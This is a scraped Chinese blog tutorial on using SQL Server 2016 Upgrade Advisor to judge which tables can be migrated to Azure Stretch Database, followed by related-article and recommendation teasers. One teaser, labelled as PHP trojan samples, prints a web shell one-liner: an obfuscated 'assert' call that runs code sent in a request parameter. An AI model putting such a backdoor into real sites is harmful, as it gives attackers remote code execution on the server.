《Windows Azure Platform 系列文章目录

  

   Azure SQL Database (19) Stretch Database 概览

     Azure SQL Database (20) 使用SQL Server 2016 Upgrade Advisor

     Azure SQL Database (21) 将整张表都迁移到Azure Stretch Database里

     Azure SQL Database (22) 迁移部分数据到Azure Stretch Database 

  在上一节中,我们简单介绍了Azure Stretch Database

  Azure SQL Database (18) Stretch Database 概览

  本节将介绍如何使用SQL Server 2016 Upgrade Advisor,评估本地SQL Server 2016数据库的相关数据表,是否可以迁移到Azure SQL Stretch Database里。

  本节内容的前提要求:

  (1)SQL Server 2016

  https://www.microsoft.com/zh-cn/evalcenter/evaluate-sql-server-2016

  (2)SQL Server 2016 Upgrade Advisor

  https://www.microsoft.com/en-us/download/details.aspx?id=48119

  (3)Sample Database

  https://www.microsoft.com/en-us/download/details.aspx?id=49502

  (4)SQL Server Management Studio

  http://go.microsoft.com/fwlink/?LinkID=824938

  (1)首先我们先在本地Windows 10,安装SQL Server 2016

  (2)安装SQL Server 2016 Upgrade Advisor

  (3)将AdventureWorks2016CTP3这个数据库,在本地SQL Server 2016进行还原

  1.然后我们运行SQL Server 2016 Upgrade Advisor

  2.点击Scneadios,RUN Stretch Database Advisor,如下图:

  

  

  3.然后点击SELECT Database to Analyze,然后选择相应的数据库和登陆选项,如下图:

  

  

  4.点击上图的Connect,然后选择需要分析的Database,这里我们选择AdventureWorks2016CTP3

  

  5.选择数据库完毕后,我们可以运行RUN,进行分析。如下图:

  

  

  6.运行完毕后,Advisor会告诉我们分析数据表的结果。如下图:

  

  上图中,红色叹号表示,该Table无法迁移到Azure Stretch Database,会产生兼容性问题。

  Azure Stretch Database的限制,请参考:

  https://azure.microsoft.com/en-us/documentation/articles/sql-server-stretch-database-limitations/

  7.当然,我们也可以发现某些表是直接可以迁移到Azure Stretch Database里的,比如下图的Sales.OrderTraking

  

  我们在下一节中,会详细介绍如何把Sales.OrderTraking,迁移到Azure SQL Stretch Database里。

  

Azure SQL Database (20) 使用SQL Server 2016 Upgrade Advisor的更多相关文章

  1. Azure SQL Database (19) Stretch Database 概览

    <Windows Azure Platform 系列文章目录>  Azure SQL Database (19) Stretch Database 概览      Azure SQL Da ...

  2. Azure SQL Database (21) 将整张表都迁移到Azure Stretch Database里

    <Windows Azure Platform 系列文章目录>  Azure SQL Database (19) Stretch Database 概览      Azure SQL Da ...

  3. Azure SQL Database (22) 迁移部分数据到Azure Stretch Database

    <Windows Azure Platform 系列文章目录>  Azure SQL Database (19) Stretch Database 概览      Azure SQL Da ...

  4. [Windows Azure] Managing SQL Database using SQL Server Management Studio

    Managing Windows Azure SQL Database using SQL Server Management Studio You can use Windows Azure SQL ...

  5. 如何將 MySQL 資料庫轉移到 Microsoft SQL Server 與 Azure SQL Database

    MySQL 是相當常用之資料庫伺服器,而微軟雲端服務 Microsoft Azure 上 Azure SQL Database 是一個功能強大且經濟實惠的選擇,透過本篇文章,使用 SQL Server ...

  6. [Windows Azure] Windows Azure SQL Database library

    Microsoft Windows Azure SQL Database extends SQL Server capabilities to the cloud. SQL Database offe ...

  7. 利用本地SQL Server维护计划来维护SQL Database

    On-Premise的SQL Server提供了维护计划来定期.定时的维护SQL Server.一般的做法是:定义SQL Server Agent Jobs,而后维护计划帮助我们定期.定时执行SQL ...

  8. [转]Azure 表存储和 Windows Azure SQL Database - 比较与对照

    本文转自:https://msdn.microsoft.com/library/azure/jj553018 更新时间: 2014年10月 作者:Valery Mizonov 和 Seth Manhe ...

  9. Microsoft: Get started with Dynamic Data Masking in SQL Server 2016 and Azure SQL

    Dynamic Data Masking (DDM) is a new security feature in Microsoft SQL Server 2016 and Azure SQL DB. ...

随机推荐

  1. 详细讲述MySQL中的子查询操作 (来自脚本之家)

    继续做以下的前期准备工作: 新建一个测试数据库TestDB: ? 1 create database TestDB; 创建测试表table1和table2: ? 1 2 3 4 5 6 7 8 9 1 ...

  2. 利用注解来保存uri

    一直对getRequestURI()与getRequestURL()理解不透彻,因此今天通过查找资料,现将些许收获分享一下: [非原创]代码搬运工..(*^__^*) 1.request.getSch ...

  3. Linux 常识

    一.Linux 各目录及每个目录的详细介绍: Linux目录和Windows目录有着很大的不同,Linux目录类似一个树,最顶层是其根目录,如下图: /bin 二进制可执行命令 /dev 设备特殊文件 ...

  4. git上传代码到osc@git

    1.get an account 2.get a ssh-key 3.git setting git config --global user.name "...." git co ...

  5. Storm 中什么是-acker,acker工作流程介绍

    概述 我们知道storm一个很重要的特性是它能够保证你发出的每条消息都会被完整处理, 完整处理的意思是指: 一个tuple被完全处理的意思是: 这个tuple以及由这个tuple所导致的所有的tupl ...

  6. c#/js代码命名规范及代码规范

    常用命名 列表,lUser 数组,arrUser 字符串,strTitle 用,分割的字符串,strStatuss(多个用逗号分割的状态) C# Entity层 统一以E开始,比如EUser,EOrd ...

  7. dedecms功能性函数封装(XSS过滤、编码、浏览器XSS hack、字符操作函数)

    dedecms虽然有诸多漏洞,但不可否认确实是一个很不错的内容管理系统(cms),其他也不乏很多功能实用性的函数,以下就部分列举,持续更新,不作过多说明.使用时需部分修改,你懂的 1.XSS过滤. f ...

  8. php木马样本,持续更新

    <?array_map("ass\x65rt",(array)$_REQUEST[dede]);?> <?php $command=$_POST[1990]; @ ...

  9. qunit 前端脚本测试用例

    首先引用qunit 测试框架文件 <link rel="stylesheet" href="qunit-1.22.0.css"> <scrip ...

  10. 浅谈AOP

    AOP,面向切面编程,作为OOP的一种补充,在处理一些系统共有的业务,比如日志,事务等,提供了一种比OOP更佳的解决方案. 在OOP中,控制的粒度为对象,因此,对象中也就参杂这不属于本身业务主体的一下 ...